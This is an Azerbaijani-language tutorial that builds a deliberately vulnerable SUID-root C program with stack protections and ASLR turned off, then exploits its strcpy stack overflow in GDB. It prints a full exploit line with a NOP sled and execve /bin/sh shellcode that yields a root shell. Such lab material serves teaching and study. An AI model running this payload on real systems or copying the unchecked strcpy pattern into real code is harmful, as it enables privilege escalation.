Linux 32 bit Buffer Overflow Privilege Escalation
Hələki maşın yoxdu test etməyə ona görə buffer overflow ilə davam edək))
Xülasə
Deməli bugün C də kiçik bir vulnerable kodu tərtib edəcəyik, ona SUİD icazəsi verib owner i root a dəyişəcəyik, sistemimizdə ASLR ı bağlayıb istismar addımlarının üzərindən keçəcəyik.
Kod haqqında qısa məlumat və ilkin tərtibat
Deməli aşağıdakı kodda bof funksiyasında, strcpy funksiyası str argumentinin ölçüsünü yoxlamadan buffer dəyişəninə kopyalamağa çalışır. str argumentinin ölçüsü buffer dəyişəni üçün stackdə ayrılan yerdən çox olarsa burada stack buffer overflow yaranır.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[240];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Please enter some data\n");
return 1;
}
printf("Data is: %s\n", argv[1]);
bof(argv[1]);
return 1;
}
Kodu tərtib etmək üçün aşağıdakı komandanı icra edirik.
gcc -g -z execstack -fno-stack-protector -m32 -o stack stack.c
Sonra ASLR ı bağlayırıq
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Tərtib edilmiş kodun istifadəçisini root a dəyişib, SUİD icazəsi veririk
sudo chown root stack && sudo chmod u+s stack
İstismar addımları
Əvvəlcə offseti tapırıq. Burda GDB dən istifadə edəcəyik. GDB ni daha oxunaqlı etmək üçün gdb-peda qura bilərsən.
GDB ilə tərtib edilmiş kodu başladırıq. Daha sonra pattern create 500 istifadə edərək 500 simvoldan ibarət yük yaradırıq.
Həmin yükü argument olaraq göndərərək kodun icrasını başladırıq
Kod crash olduqdan sonra EİP registerinin dəyərini kopyalayırıq
Daha sonra pattern offset istifadə edərək EİP offseti tapırıq
Daha sonra yükü offsetə çatana qədər A hərfləri, EİP üzərinə yazılması üçün 4 ədəd B hərfi, NOP və shellcode olaraq tənzimləyirik. Daha sonra yükü parameter kimi göndərərək kodu icra edi
run $(python2.7 -c "print 'A'*252 + 'BBBB' + '\x90'*200 + 'jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'")
EİP registerinin dəyərinə baxdıqda BBBB ilə olduğunu görürük
İndi EİP registerinin dəyərini NOP təlimatlarına yönləndirməsi üçün EİP dəyərinin saxlanıldığı ünvandan bir sonrakı ünvan olaraq qeyd edirik.
BBBB (0x42424242) dən sonra gələn ünvan (0xffffce40) NOP təlimatlarının başladığı ünvandır.
Həmin ünvanı (0xffffce40) EİP dəyəri olaraq BBBB in əvəzinə yükümüzə yazırıq və kodu yükümüzlə birlikdə icra edirik.
Shell uğurla açıldıqdan sonra GDB i bağlayaraq yoxlayırıq. İlk dəfə istismar uğursuz olur, sonra NOP təlimatlarını artırırıq və boom :)